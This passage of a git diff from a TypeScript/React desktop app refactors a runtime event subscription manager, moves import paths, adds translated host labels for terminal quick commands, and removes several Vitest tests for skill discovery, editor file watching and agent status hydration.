+      if (entry.retryTimer === undefined || recoveryIds.has(environmentId)) {
+        startAttempt(environmentId, entry)
+      }
+    }
   }
 
   const stop = (): void => {
-    generation += 1
-    const stoppedSubscriptions = [...subscriptions.values()]
-    subscriptions.clear()
-    pending.clear()
-    for (const retryTimer of retryTimers.values()) {
-      clearTimeout(retryTimer)
-    }
-    retryTimers.clear()
-    consecutiveFailures.clear()
-    for (const subscription of stoppedSubscriptions) {
-      subscription.unsubscribe()
-    }
-  }
-
-  const sync = (): void => {
-    const syncGeneration = generation
-    const currentSyncInvocation = ++syncInvocation
-    const desiredIds = new Set(deps.getDesiredEnvironmentIds())
-    for (const environmentId of retryTimers.keys()) {
-      if (desiredIds.has(environmentId)) {
-        continue
-      }
-      clearRetryTimer(environmentId)
-    }
-    for (const environmentId of consecutiveFailures.keys()) {
-      if (!desiredIds.has(environmentId)) {
-        consecutiveFailures.delete(environmentId)
-      }
-    }
-
-    for (const [environmentId, subscription] of subscriptions) {
-      if (syncGeneration !== generation || currentSyncInvocation !== syncInvocation) {
-        return
-      }
-      if (desiredIds.has(environmentId) && subscription.key === getSubscriptionKey(environmentId)) {
-        continue
-      }
-      subscriptions.delete(environmentId)
-      subscription.unsubscribe()
-    }
-
-    for (const environmentId of desiredIds) {
-      if (syncGeneration !== generation || currentSyncInvocation !== syncInvocation) {
-        return
-      }
-      const subscriptionKey = getSubscriptionKey(environmentId)
-      const pendingSubscription = pending.get(environmentId)
-      if (pendingSubscription && pendingSubscription.key !== subscriptionKey) {
-        pending.delete(environmentId)
-      }
-      if (
-        subscriptions.get(environmentId)?.key === subscriptionKey ||
-        pending.get(environmentId)?.key === subscriptionKey
-      ) {
-        continue
-      }
-      clearRetryTimer(environmentId)
-      const subscribeGeneration = generation
-      const pendingSubscriptionToken = { key: subscriptionKey, generation: subscribeGeneration }
-      pending.set(environmentId, pendingSubscriptionToken)
-      const isCurrent = (): boolean =>
-        subscribeGeneration === generation &&
-        (pending.get(environmentId) === pendingSubscriptionToken ||
-          subscriptions.get(environmentId)?.token === pendingSubscriptionToken)
-      void deps
-        .subscribe(
-          environmentId,
-          (event) => {
-            // Initial frames arrive before setup settles; only the owning attempt may deliver.
-            if (isCurrent()) {
-              deps.onEvent(environmentId, event)
-            }
-          },
-          (error) => {
-            console.warn('[runtime-client-events] subscription error:', error)
-          },
-          isCurrent
-        )
-        .then((subscription) => {
-          const isCurrentPending = pending.get(environmentId) === pendingSubscriptionToken
-          if (isCurrentPending) {
-            pending.delete(environmentId)
-          }
-          if (
-            !isCurrentPending ||
-            subscribeGeneration !== generation ||
-            !deps.getDesiredEnvironmentIds().includes(environmentId) ||
-            getSubscriptionKey(environmentId) !== subscriptionKey
-          ) {
-            subscription.unsubscribe()
-            return
-          }
-          // Another subscribe already won; unsubscribe this duplicate instead of overwriting and leaking the winner’s handle.
-          if (subscriptions.get(environmentId)?.key === subscriptionKey) {
-            subscription.unsubscribe()
-            return
-          }
-          consecutiveFailures.delete(environmentId)
-          subscriptions.set(environmentId, {
-            key: subscriptionKey,
-            token: pendingSubscriptionToken,
-            unsubscribe: subscription.unsubscribe
-          })
-        })
-        .catch((error) => {
-          const isCurrentPending = pending.get(environmentId) === pendingSubscriptionToken
-          if (isCurrentPending) {
-            pending.delete(environmentId)
-          }
-          if (
-            isCurrentPending &&
-            subscribeGeneration === generation &&
-            getSubscriptionKey(environmentId) === subscriptionKey
-          ) {
-            console.warn('[runtime-client-events] failed to subscribe:', error)
-            // Count failures only while retrying this desired environment; late rejection after removal must not penalize re-entry.
-            if (deps.getDesiredEnvironmentIds().includes(environmentId)) {
-              const failure = consecutiveFailures.get(environmentId)
-              consecutiveFailures.set(environmentId, {
-                key: subscriptionKey,
-                count: failure?.key === subscriptionKey ? failure.count + 1 : 1
-              })
-              scheduleRetry(environmentId, subscriptionKey, subscribeGeneration)
-            } else {
-              consecutiveFailures.delete(environmentId)
-            }
-          }
-        })
-    }
-
-    if (syncGeneration !== generation || currentSyncInvocation !== syncInvocation) {
-      return
-    }
-    for (const [environmentId, pendingSubscription] of pending) {
-      if (
-        desiredIds.has(environmentId) &&
-        pendingSubscription.key === getSubscriptionKey(environmentId)
-      ) {
-        continue
-      }
-      pending.delete(environmentId)
-    }
-
-    if (desiredIds.size === 0 && subscriptions.size === 0) {
-      generation += 1
+    syncInvocation += 1
+    const stopped = [...environments.values()]
+    environments.clear()
+    for (const entry of stopped) {
+      retire(entry)
     }
   }
 
diff --git a/src/renderer/src/hooks/skills/discovery/useInstalledAgentSkills.react.test.tsx b/src/renderer/src/hooks/skills/discovery/useInstalledAgentSkills.react.test.tsx
index 0d3f046891f..be973e9e45a 100644
--- a/src/renderer/src/hooks/skills/discovery/useInstalledAgentSkills.react.test.tsx
+++ b/src/renderer/src/hooks/skills/discovery/useInstalledAgentSkills.react.test.tsx
@@ -58,21 +58,6 @@ function discoveryResult(
   }
 }
 
-/** A root the host could not read: it reports `exists` because it cannot prove otherwise. */
-function unavailableSource(overrides: Partial<SkillDiscoverySource> = {}): SkillDiscoverySource {
-  return {
-    id: 'home',
-    label: 'Agent skills home',
-    path: '/Users/test/.agents/skills',
-    sourceKind: 'home',
-    providers: ['agent-skills'],
-    owner: null,
-    exists: true,
-    skippedReason: 'unavailable',
-    ...overrides
-  }
-}
-
 function deferred<T>(): {
   promise: Promise<T>
   resolve: (value: T) => void
@@ -171,51 +156,6 @@ beforeEach(() => {
 })
 
 describe('useInstalledAgentSkill', () => {
-  // Unread roots contain unknown skills; claiming absent would offer Install for existing skills.
-
-  it('keeps a negative authoritative when the unread root is out of scope', async () => {
-    const scan = deferred<SkillDiscoveryResult>()
-    const discover = vi
-      .fn<(target?: SkillDiscoveryTarget) => Promise<SkillDiscoveryResult>>()
-      .mockReturnValue(scan.promise)
-    Object.defineProperty(window, 'api', {
-      configurable: true,
-      value: { skills: { discover } }
-    })
-
-    await renderProbe()
-    // The probe asks only about home roots, so a stalled repo root proves nothing.
-    scan.resolve(
-      discoveryResult([], [unavailableSource({ id: 'repo', sourceKind: 'repo', path: '/repo' })])
-    )
-    await act(async () => {
-      await scan.promise
-    })
-
-    expect(latestState?.installed).toBe(false)
-    expect(latestState?.error).toBeNull()
-  })
-
-  it('does not flag an incomplete scan once the skill is found anyway', async () => {
-    const scan = deferred<SkillDiscoveryResult>()
-    const discover = vi
-      .fn<(target?: SkillDiscoveryTarget) => Promise<SkillDiscoveryResult>>()
-      .mockReturnValue(scan.promise)
-    Object.defineProperty(window, 'api', {
-      configurable: true,
-      value: { skills: { discover } }
-    })
-
-    await renderProbe()
-    scan.resolve(discoveryResult([skill({ name: 'orca-linear' })], [unavailableSource()]))
-    await act(async () => {
-      await scan.promise
-    })
-
-    expect(latestState?.installed).toBe(true)
-    expect(latestState?.error).toBeNull()
-  })
-
   it('returns installed from refresh when a legacy Linear skill is discovered', async () => {
     const backgroundScan = deferred<SkillDiscoveryResult>()
     const forcedScan = deferred<SkillDiscoveryResult>()
diff --git a/src/renderer/src/hooks/skills/discovery/useInstalledAgentSkills.ts b/src/renderer/src/hooks/skills/discovery/useInstalledAgentSkills.ts
index 310bf2b5bb8..243ccf7ffea 100644
--- a/src/renderer/src/hooks/skills/discovery/useInstalledAgentSkills.ts
+++ b/src/renderer/src/hooks/skills/discovery/useInstalledAgentSkills.ts
@@ -10,7 +10,7 @@ import type {
   SkillSourceKind
 } from '../../../../../shared/skills'
 import { ORCHESTRATION_SKILL_NAME } from '@/lib/skills/installation/agent-feature-skill-names'
-import { markOrchestrationSetupComplete } from '@/lib/orchestration-setup-state'
+import { markOrchestrationSetupComplete } from '@/components/orchestration/setup/orchestration-setup-state'
 import {
   discoverInstalledAgentSkills,
   getCachedSkillDiscovery,
diff --git a/src/renderer/src/hooks/skills/runtime/useActiveProjectSkillRuntime.ts b/src/renderer/src/hooks/skills/runtime/useActiveProjectSkillRuntime.ts
index d03ce071097..9f55a96c8cf 100644
--- a/src/renderer/src/hooks/skills/runtime/useActiveProjectSkillRuntime.ts
+++ b/src/renderer/src/hooks/skills/runtime/useActiveProjectSkillRuntime.ts
@@ -1,33 +1,33 @@
 import { useMemo, useState } from 'react'
 import { useShallow } from 'zustand/react/shallow'
-import type { ProjectExecutionRuntimeResolution } from '../../../../../shared/execution-host/project-execution-runtime'
-import type { SkillDiscoveryTarget } from '../../../../../shared/skills'
 import { useActiveSkillDiscoveryRuntimeTarget } from '../discovery/use-active-skill-discovery-runtime-target'
-import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 import { LOCAL_EXECUTION_HOST_ID } from '../../../../../shared/execution-host'
 import {
   getGlobalWindowsExecutionRuntimeContext,
   getLocalProjectExecutionRuntimeContext
-} from '@/lib/local-preflight-context'
+} from '@/runtime/hosts/preflight/local-preflight-context'
 import {
   getProjectAgentSkillRuntime,
   getProjectAgentSkillTerminalShellOverride,
   getProjectSkillDiscoveryTarget,
-  getProjectSkillInstallDisabledReason,
-  type ProjectAgentSkillRuntime
+  getProjectSkillInstallDisabledReason
 } from '@/lib/skills/runtime/project-skill-runtime'
+import type { ProjectAgentSkillRuntime } from '@/lib/skills/runtime/project-skill-runtime'
 import { useWindowsTerminalCapabilities } from '@/runtime/hosts/capabilities/windows-terminal-capabilities'
 import {
   resolveBundledSkillTarget,
-  servingExecutionHostId,
-  type BundledSkillTarget
+  servingExecutionHostId
 } from '@/lib/skills/runtime/bundled-skill-target'
-import { getResolvedExecutionHostIdForWorktree } from '@/lib/resolved-worktree-execution-host'
+import type { BundledSkillTarget } from '@/lib/skills/runtime/bundled-skill-target'
+import { getResolvedExecutionHostIdForWorktree } from '@/lib/workspace/ownership/resolved-worktree-execution-host'
 import { useAppStore } from '@/store/index'
 import {
   selectFolderWorkspaces,
   selectWorktreesByRepo
 } from '@/store/workspaces/catalog/workspace-record-fields'
+import type { ProjectExecutionRuntimeResolution } from '../../../../../shared/execution-host/project-execution-runtime'
+import type { SkillDiscoveryTarget } from '../../../../../shared/skills'
+import type { RuntimeClientTarget } from '../../../../../shared/runtime-client-target'
 
 type ActiveProjectSkillRuntime = {
   projectRuntime?: ProjectExecutionRuntimeResolution
diff --git a/src/renderer/src/hooks/use-integration-provider-status-refresh.ts b/src/renderer/src/hooks/use-integration-provider-status-refresh.ts
index 1bb8e8a5655..f217c6c0885 100644
--- a/src/renderer/src/hooks/use-integration-provider-status-refresh.ts
+++ b/src/renderer/src/hooks/use-integration-provider-status-refresh.ts
@@ -1,6 +1,6 @@
 import { useEffect } from 'react'
-import { getLocalPreflightContext } from '@/lib/local-preflight-context'
-import { localPreflightContextKey } from '@/lib/local-preflight-context-key'
+import { getLocalPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context'
+import { localPreflightContextKey } from '@/runtime/hosts/preflight/local-preflight-context-key'
 import { getProviderRuntimeContextKey } from '@/runtime/hosts/observations/provider-runtime-context'
 import { useAppStore } from '@/store/index'
 
diff --git a/src/renderer/src/hooks/use-repo-ssh-gate.ts b/src/renderer/src/hooks/use-repo-ssh-gate.ts
index 2b5085794a1..51f81d1ab18 100644
--- a/src/renderer/src/hooks/use-repo-ssh-gate.ts
+++ b/src/renderer/src/hooks/use-repo-ssh-gate.ts
@@ -1,6 +1,9 @@
 import { useMemo } from 'react'
-import { useAppStore } from '@/store'
-import { getRepoSshConnection, selectRepoSshGateInput } from '@/lib/repo-ssh-connection'
+import { useAppStore } from '@/store/index'
+import {
+  getRepoSshConnection,
+  selectRepoSshGateInput
+} from '@/lib/workspace/catalog/repo-ssh-connection'
 import type { AppState } from '@/store/types'
 import type { Repo } from '../../../shared/repo-types'
 
diff --git a/src/renderer/src/hooks/use-split-divider-setting.ts b/src/renderer/src/hooks/use-split-divider-setting.ts
index 4f7c9698908..f296095e3fe 100644
--- a/src/renderer/src/hooks/use-split-divider-setting.ts
+++ b/src/renderer/src/hooks/use-split-divider-setting.ts
@@ -1,7 +1,10 @@
 import { useEffect } from 'react'
-import { useAppStore } from '@/store'
+import { useAppStore } from '@/store/index'
 import { useSystemPrefersDark } from '@/hooks/theme/use-system-prefers-dark'
-import { DEFAULT_TERMINAL_DIVIDER_DARK, DEFAULT_TERMINAL_DIVIDER_LIGHT } from '@/lib/terminal-theme'
+import {
+  DEFAULT_TERMINAL_DIVIDER_DARK,
+  DEFAULT_TERMINAL_DIVIDER_LIGHT
+} from '@/lib/terminal/appearance/terminal-theme'
 import { selectTerminalTheme } from '../../../shared/terminal-themes/terminal-theme-selection'
 
 /**
diff --git a/src/renderer/src/hooks/use-terminal-quick-command-hosts.ts b/src/renderer/src/hooks/use-terminal-quick-command-hosts.ts
index 56a4a203797..ec781c936d1 100644
--- a/src/renderer/src/hooks/use-terminal-quick-command-hosts.ts
+++ b/src/renderer/src/hooks/use-terminal-quick-command-hosts.ts
@@ -1,4 +1,5 @@
 import { useCallback, useEffect, useMemo } from 'react'
+import { useTranslation } from 'react-i18next'
 import { useShallow } from 'zustand/react/shallow'
 import type { GlobalSettings } from '../../../shared/global-settings-types'
 import type { TerminalQuickCommand } from '../../../shared/terminal/quick-commands/terminal-quick-command-types'
@@ -16,6 +17,11 @@ import type {
   TerminalQuickCommandHostsSlice
 } from '@/store/terminals/terminal-quick-command-hosts'
 import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner'
+import {
+  getTranslatedExecutionHostLabel,
+  translateHostDisplayLabel
+} from '@/components/sidebar/execution-host-label'
+import { readUiLanguageMemoInput } from '@/i18n/ui-language-memo-input'
 
 export type TerminalQuickCommandHost = {
   commands: readonly TerminalQuickCommand[]
@@ -88,14 +94,18 @@ export function flattenTerminalQuickCommandHosts(
 export function getTerminalQuickCommandHostOptions(
   settings: GlobalSettings | null | undefined,
   runtimeEnvironments: readonly Pick<PublicKnownRuntimeEnvironment, 'id' | 'name'>[]
-): { id: ExecutionHostId; label: string }[] {
+): { id: ExecutionHostId; label: string; isDefaultLocalLabel?: boolean }[] {
   return buildExecutionHostRegistry({
     repos: [],
     settings,
     hostSource: 'configured-only',
     runtimeEnvironments,
     hostLabelOverrides: getHostDisplayLabelOverrides(settings)
-  }).map((host) => ({ id: host.id, label: host.label }))
+  }).map((host) => ({
+    id: host.id,
+    label: host.label,
+    isDefaultLocalLabel: host.isDefaultLocalLabel
+  }))
 }
 
 export function useTerminalQuickCommandHosts(
@@ -108,6 +118,8 @@ export function useTerminalQuickCommandHosts(
   remoteHostLoadFailed: boolean
   remoteHostPending: boolean
 } {
+  const { i18n } = useTranslation()
+  const language = i18n.resolvedLanguage ?? i18n.language
   const {
     executionHostId,
     loadRemote,
@@ -170,16 +182,19 @@ export function useTerminalQuickCommandHosts(
   )
 
   const hosts = useMemo(() => {
+    readUiLanguageMemoInput(language)
     if (!enabled) {
       return DISABLED_TERMINAL_QUICK_COMMAND_HOSTS
     }
     const hostOptions = getTerminalQuickCommandHostOptions(settings, runtimeEnvironments)
+    const localHost = hostOptions.find((host) => host.id === LOCAL_EXECUTION_HOST_ID)
     const result: TerminalQuickCommandHost[] = [
       {
         commands: settings?.terminalQuickCommands ?? [],
         hostId: LOCAL_EXECUTION_HOST_ID,
-        label:
-          hostOptions.find((host) => host.id === LOCAL_EXECUTION_HOST_ID)?.label ?? 'This computer'
+        label: localHost
+          ? translateHostDisplayLabel(localHost)
+          : getTranslatedExecutionHostLabel(LOCAL_EXECUTION_HOST_ID)
       }
     ]
     if (
@@ -198,6 +213,7 @@ export function useTerminalQuickCommandHosts(
     return result
   }, [
     enabled,
+    language,
     remoteConnectionGeneration,
     remoteEnvironmentId,
     remoteHostId,
diff --git a/src/renderer/src/hooks/use-visible-terminal-quick-command-hosts.ts b/src/renderer/src/hooks/use-visible-terminal-quick-command-hosts.ts
index 36696e9d567..a9c1e3b2056 100644
--- a/src/renderer/src/hooks/use-visible-terminal-quick-command-hosts.ts
+++ b/src/renderer/src/hooks/use-visible-terminal-quick-command-hosts.ts
@@ -1,6 +1,6 @@
 import { useMemo } from 'react'
 import { useProjectHostSetupProjection } from '@/store/projects/use-project-host-setup-projection'
-import { terminalQuickCommandMatchesWorkspaceProject } from '@/lib/terminal-quick-command-project-scope'
+import { terminalQuickCommandMatchesWorkspaceProject } from '@/lib/terminal/quick-commands/terminal-quick-command-project-scope'
 import {
   getTerminalQuickCommandScope,
   isTerminalQuickCommandComplete
diff --git a/src/renderer/src/hooks/useAgentDetectionTarget.ts b/src/renderer/src/hooks/useAgentDetectionTarget.ts
index 0218bc117df..778ef044cc2 100644
--- a/src/renderer/src/hooks/useAgentDetectionTarget.ts
+++ b/src/renderer/src/hooks/useAgentDetectionTarget.ts
@@ -4,7 +4,7 @@ import { getConnectionIdFromState } from '@/lib/workspace/ownership/connection-o
 import { getExecutionHostIdForWorktree } from '@/lib/workspace/ownership/worktree-runtime-owner'
 import { runtimeEnvironmentIdForWorkspaceOwner } from '@/lib/workspace/ownership/resolve-owner'
 import type { WorktreeRuntimeOwnerState } from '@/lib/workspace/ownership/worktree-runtime-owner-state'
-import { getResolvedExecutionHostIdForWorktree } from '@/lib/resolved-worktree-execution-host'
+import { getResolvedExecutionHostIdForWorktree } from '@/lib/workspace/ownership/resolved-worktree-execution-host'
 import { parseExecutionHostId } from '../../../shared/execution-host'
 import { parseWorkspaceKey } from '../../../shared/workspace-scope'
 import type { AgentDetectionTarget } from './useDetectedAgents'
diff --git a/src/renderer/src/hooks/useDetectedAgents.ts b/src/renderer/src/hooks/useDetectedAgents.ts
index 703592b1dd7..9e0d5f44b4c 100644
--- a/src/renderer/src/hooks/useDetectedAgents.ts
+++ b/src/renderer/src/hooks/useDetectedAgents.ts
@@ -1,11 +1,11 @@
 import { useAppStateViewActive, useAppStateValue } from '@/store/retained-views/app-state-view'
 import { useCallback, useEffect, useRef } from 'react'
-import { useAppStore } from '@/store'
-import { getLocalAgentPreflightContext } from '@/lib/local-preflight-context'
-import { localAgentInventoryContextKey } from '@/lib/local-preflight-context-key'
+import { useAppStore } from '@/store/index'
+import { getLocalAgentPreflightContext } from '@/runtime/hosts/preflight/local-preflight-context'
+import { localAgentInventoryContextKey } from '@/runtime/hosts/preflight/local-preflight-context-key'
 import { runtimeHostContactForEntry } from '../../../shared/remote-runtime/host-status/runtime-host-contact'
-import type { TuiAgent } from '../../../shared/agent-launch/catalog/tui-agent'
 import { getRuntimeAgentInventoryKey } from '@/store/slices/agent-inventory/runtime-agent-inventory-key'
+import type { TuiAgent } from '../../../shared/agent-launch/catalog/tui-agent'
 
 export type UseDetectedAgentsResult = {
   /** Null while detection is in flight on first load. */
diff --git a/src/renderer/src/hooks/useEditorExternalWatch-subscriptions.test.tsx b/src/renderer/src/hooks/useEditorExternalWatch-subscriptions.test.tsx
index 079676b265a..3fb334d1810 100644
--- a/src/renderer/src/hooks/useEditorExternalWatch-subscriptions.test.tsx
+++ b/src/renderer/src/hooks/useEditorExternalWatch-subscriptions.test.tsx
@@ -122,53 +122,6 @@ describe('useEditorExternalWatch subscriptions', () => {
     ;(window as unknown as { api?: unknown }).api = previousApi
   })
 
-  it('unsubscribes an SSH watch and the shared event listener exactly once on unmount', async () => {
-    subscriptionState.snapshot = {
-      targets: [
-        {
-          worktreeId: 'wt-ssh',
-          worktreePath: '/remote/repo',
-          connectionId: 'ssh-1',
-          runtimeEnvironmentId: null
-        }
-      ],
-      targetsKey: 'ssh-watch'
-    }
-    await act(async () => root.render(createElement(WatchProbe)))
-
-    expect(watchWorktree).toHaveBeenCalledWith({
-      worktreePath: '/remote/repo',
-      connectionId: 'ssh-1'
-    })
-    await act(async () => root.unmount())
-
-    expect(unwatchWorktree).toHaveBeenCalledTimes(1)
-    expect(unwatchWorktree).toHaveBeenCalledWith({
-      worktreePath: '/remote/repo',
-      connectionId: 'ssh-1'
-    })
-    expect(unsubscribeFsEvents).toHaveBeenCalledTimes(1)
-    expect(subscriptionState.disposeEventHandler).toHaveBeenCalledTimes(1)
-  })
-
-  it('disposes a runtime subscription that resolves after unmount', async () => {
-    const pending = deferredRuntimeSubscription()
-    const unsubscribeRuntime = vi.fn()
-    subscriptionState.subscribeRuntimeFileChanges.mockReturnValueOnce(pending.promise)
-    subscriptionState.snapshot = {
-      targets: [runtimeTarget()],
-      targetsKey: 'runtime-watch'
-    }
-    await act(async () => root.render(createElement(WatchProbe)))
-    await act(async () => root.unmount())
-
-    pending.resolve(unsubscribeRuntime)
-    await act(async () => pending.promise)
-
-    expect(unsubscribeRuntime).toHaveBeenCalledTimes(1)
-    expect(unwatchWorktree).not.toHaveBeenCalled()
-  })
-
   it('cannot let an old runtime subscribe resolution replace a re-added watch', async () => {
     const stalePending = deferredRuntimeSubscription()
     const currentPending = deferredRuntimeSubscription()
diff --git a/src/renderer/src/hooks/useIpcEvents-agent-status-snapshot-hydration.test.ts b/src/renderer/src/hooks/useIpcEvents-agent-status-snapshot-hydration.test.ts
deleted file mode 100644
index 99002f39e3f..00000000000
--- a/src/renderer/src/hooks/useIpcEvents-agent-status-snapshot-hydration.test.ts
+++ /dev/null
@@ -1,354 +0,0 @@
-import type * as ReactModule from 'react'
-import { beforeEach, describe, expect, it, vi } from 'vitest'
-import { createTestStore } from '../store/testing/app-store-test-fixture'
-import { makeTab } from '../store/terminals/terminal-tab.test-fixture'
-import { makeUnifiedTab } from '../store/slices/tabs/tab-group.test-fixture'
-import { makeWorktree } from '../store/slices/worktrees/worktree.test-fixture'
-import { TEST_REPO } from '../store/repos/repo.test-fixture'
-import { layoutApplyTestDouble } from '@/runtime/workspace-layout/testing/layout-apply-test-double'
-import type { AppState } from '../store/types'
-import { makePaneKey } from '../../../shared/workspace-layout/stable-pane-id'
-import {
-  buildStoreState,
-  expectWorktreeRouting,
-  FUTURE_LEAF_ID,
-  FUTURE_PANE_KEY,
-  type AgentStatusSetData,
-  type StoreLike,
-  type StoreSubscribeListener,
-  type MobileFitListener,
-  type MobileDriverListener,
-  type MobileBrowserDriverListener
-} from './ipc-events-agent-status-store-test-fixtures'
-import {
-  buildWindowApi,
-  stubReactSyncEffect,
-  stubAuxiliaryModules
-} from './ipc-events-agent-status-window-test-fixtures'
-
-describe('useIpcEvents agent status snapshot integration', () => {
-  beforeEach(() => {
-    vi.resetModules()
-    vi.unstubAllGlobals()
-  })
-
-  it('clears pending mobile state events and ignores late hydration after cleanup', async () => {
-    const setFitOverride = vi.fn()
-    const hydrateOverrides = vi.fn()
-    const setDriverForPty = vi.fn()
-    const hydrateDrivers = vi.fn()
-    const setDriverForBrowserPage = vi.fn()
-    const hydrateBrowserDrivers = vi.fn()
-    const unsubscribeFit = vi.fn()
-    const unsubscribeDriver = vi.fn()
-    const unsubscribeBrowserDriver = vi.fn()
-    const refs: {
-      cleanup?: () => void
-      fit?: MobileFitListener
-      driver?: MobileDriverListener
-      browserDriver?: MobileBrowserDriverListener
-    } = {}
-    let resolveFitOverrides: (value: []) => void = () => {}
-    let resolveDrivers: (value: []) => void = () => {}
-    let resolveBrowserDrivers: (value: []) => void = () => {}
-
-    vi.doMock('@/lib/pane-manager/mobile-fit-overrides', () => ({
-      setFitOverride,
-      hydrateOverrides
-    }))
-    vi.doMock('@/lib/pane-manager/mobile-driver-state', () => ({
-      setDriverForPty,
-      hydrateDrivers
-    }))
-    vi.doMock('@/lib/pane-manager/browser-mobile-driver-state', () => ({
-      setDriverForBrowserPage,
-      hydrateBrowserDrivers
-    }))
-    vi.doMock('react', async () => {
-      const actual = await vi.importActual<typeof ReactModule>('react')
-      return {
-        ...actual,
-        useEffect: (effect: () => void | (() => void)) => {
-          const result = effect()
-          if (typeof result === 'function') {
-            refs.cleanup = result
-          }
-        }
-      }
-    })
-    stubAuxiliaryModules()
-    vi.doMock('../store', () => ({
-      useAppStore: {
-        subscribe: vi.fn(() => () => {}),
-        getState: () => buildStoreState({})
-      }
-    }))
-    vi.stubGlobal(
-      'window',
-      buildWindowApi({
-        onSet: () => () => {},
-        runtime: {
-          getTerminalFitOverrides: () =>
-            new Promise<[]>((resolve) => {
-              resolveFitOverrides = resolve
-            }),
-          getTerminalDrivers: () =>
-            new Promise<[]>((resolve) => {
-              resolveDrivers = resolve
-            }),
-          getBrowserDrivers: () =>
-            new Promise<[]>((resolve) => {
-              resolveBrowserDrivers = resolve
-            }),
-          onTerminalFitOverrideChanged: (listener: MobileFitListener) => {
-            refs.fit = listener
-            return unsubscribeFit
-          },
-          onTerminalDriverChanged: (listener: MobileDriverListener) => {
-            refs.driver = listener
-            return unsubscribeDriver
-          },
-          onBrowserDriverChanged: (listener: MobileBrowserDriverListener) => {
-            refs.browserDriver = listener
-            return unsubscribeBrowserDriver
-          },
-          onClientHostedBrowserRowsChanged: () => () => {},
-          getClientHostedBrowserRows: async () => []
-        }
-      })
-    )
-
-    const { useIpcEvents } = await import('./useIpcEvents')
-    useIpcEvents()
-
-    if (!refs.fit || !refs.driver || !refs.browserDriver || !refs.cleanup) {
-      throw new Error('Expected mobile listeners and cleanup to be registered')
-    }
-
-    refs.fit({
-      ptyId: 'pty-1',
-      mode: 'mobile-fit',
-      cols: 80,
-      rows: 24
-    })
-    refs.driver({
-      ptyId: 'pty-1',
-      driver: { kind: 'mobile', clientId: 'phone' }
-    })
-    refs.browserDriver({
-      browserPageId: 'page-1',
-      driver: { kind: 'mobile', clientId: 'phone' }
-    })
-
-    refs.cleanup()
-    resolveFitOverrides([])
-    resolveDrivers([])
-    resolveBrowserDrivers([])
-    await Promise.resolve()
-    await Promise.resolve()
-
-    expect(unsubscribeFit).toHaveBeenCalledTimes(1)
-    expect(unsubscribeDriver).toHaveBeenCalledTimes(1)
-    expect(unsubscribeBrowserDriver).toHaveBeenCalledTimes(1)
-    expect(hydrateOverrides).not.toHaveBeenCalled()
-    expect(hydrateDrivers).not.toHaveBeenCalled()
-    expect(hydrateBrowserDrivers).not.toHaveBeenCalled()
-    expect(setFitOverride).not.toHaveBeenCalled()
-    expect(setDriverForPty).not.toHaveBeenCalled()
-    expect(setDriverForBrowserPage).not.toHaveBeenCalled()
-  })
-
-  it('ignores early push events but applies the main-process snapshot after readiness', async () => {
-    const setAgentStatus = vi.fn()
-    const getSnapshot = vi.fn(() =>
-      Promise.resolve([
-        {
-          paneKey: FUTURE_PANE_KEY,
-          state: 'working' as const,
-          workingMode: 'monitoring' as const,
-          prompt: 'p',
-          agentType: 'claude',
-          receivedAt: 1_700_000_000_000,
-          stateStartedAt: 1_699_999_999_000
-        }
-      ])
-    )
-    const onSetListenerRef: { current: ((data: AgentStatusSetData) => void) | null } = {
-      current: null
-    }
-    const subscribeListenerRef: { current: StoreSubscribeListener | null } = { current: null }
-
-    const storeState: StoreLike = buildStoreState({
-      setAgentStatus,
-      tabsByWorktree: {},
-      workspaceSessionReady: false
-    })
-    const setAgentStatuses = vi.mocked(storeState.setAgentStatuses as AppState['setAgentStatuses'])
-
-    stubReactSyncEffect()
-    vi.doMock('../store', () => ({
-      useAppStore: {
-        subscribe: vi.fn((listener: StoreSubscribeListener) => {
-          subscribeListenerRef.current = listener
-          return () => {
-            subscribeListenerRef.current = null
-          }
-        }),
-        getState: () => storeState
-      }
-    }))
-    stubAuxiliaryModules()
-    vi.stubGlobal(
-      'window',
-      buildWindowApi({
-        getSnapshot,
-        onSet: (cb) => {
-          onSetListenerRef.current = cb
-          return () => {}
-        }
-      })
-    )
-
-    const { useIpcEvents } = await import('./useIpcEvents')
-
-    useIpcEvents()
-    await Promise.resolve()
-
-    if (typeof onSetListenerRef.current !== 'function') {
-      throw new Error('Expected agentStatus.onSet listener to be registered')
-    }
-
-    onSetListenerRef.current({
-      paneKey: FUTURE_PANE_KEY,
-      state: 'working',
-      prompt: 'p',
-      agentType: 'claude',
-      receivedAt: 1_700_000_000_100,
-      stateStartedAt: 1_699_999_999_100
-    })
-    expect(setAgentStatus).not.toHaveBeenCalled()
-    expect(getSnapshot).not.toHaveBeenCalled()
-
-    const previousStoreState = { ...storeState }
-    storeState.workspaceSessionReady = true
-    storeState.tabsByWorktree = {
-      'wt-1': [{ id: 'tab-future', ptyId: 'pty-1', worktreeId: 'wt-1', title: 'Future Tab' }]
-    }
-    storeState.terminalLayoutsByTabId = {
-      'tab-future': {
-        root: { type: 'leaf', leafId: FUTURE_LEAF_ID },
-        activeLeafId: FUTURE_LEAF_ID,
-        expandedLeafId: null
-      }
-    }
-    if (typeof subscribeListenerRef.current !== 'function') {
-      throw new Error('Expected useAppStore.subscribe listener to be registered')
-    }
-    subscribeListenerRef.current(storeState, previousStoreState)
-    await Promise.resolve()
-
-    expect(setAgentStatus).toHaveBeenCalledTimes(1)
-    expect(setAgentStatuses).toHaveBeenCalledTimes(1)
-    expect(setAgentStatuses.mock.calls[0]?.[0]).toHaveLength(1)
-    expect(setAgentStatus).toHaveBeenCalledWith(
-      FUTURE_PANE_KEY,
-      expect.objectContaining({
-        state: 'working',
-        workingMode: 'monitoring',
-        prompt: 'p',
-        agentType: 'claude'
-      }),
-      'Future Tab',
-      { updatedAt: 1_700_000_000_000, stateStartedAt: 1_699_999_999_000 },
-      expectWorktreeRouting('wt-1'),
-      undefined
-    )
-  })
-
-  it('applies a status snapshot to terminal panes after session readiness', async () => {
-    const paneCount = 2
-    const snapshot: AgentStatusSetData[] = []
-    const worktrees: AppState['worktreesByRepo'][string] = []
-    const tabsByWorktree: AppState['tabsByWorktree'] = {}
-    const unifiedTabsByWorktree: AppState['unifiedTabsByWorktree'] = {}
-    const terminalLayoutsByTabId: AppState['terminalLayoutsByTabId'] = {}
-    for (let index = 0; index < paneCount; index += 1) {
-      const worktreeId = `wt-snapshot-${index}`
-      const tabId = `tab-snapshot-${index}`
-      const leafId = `00000000-0000-4000-8000-${String(index).padStart(12, '0')}`
-      const paneKey = makePaneKey(tabId, leafId)
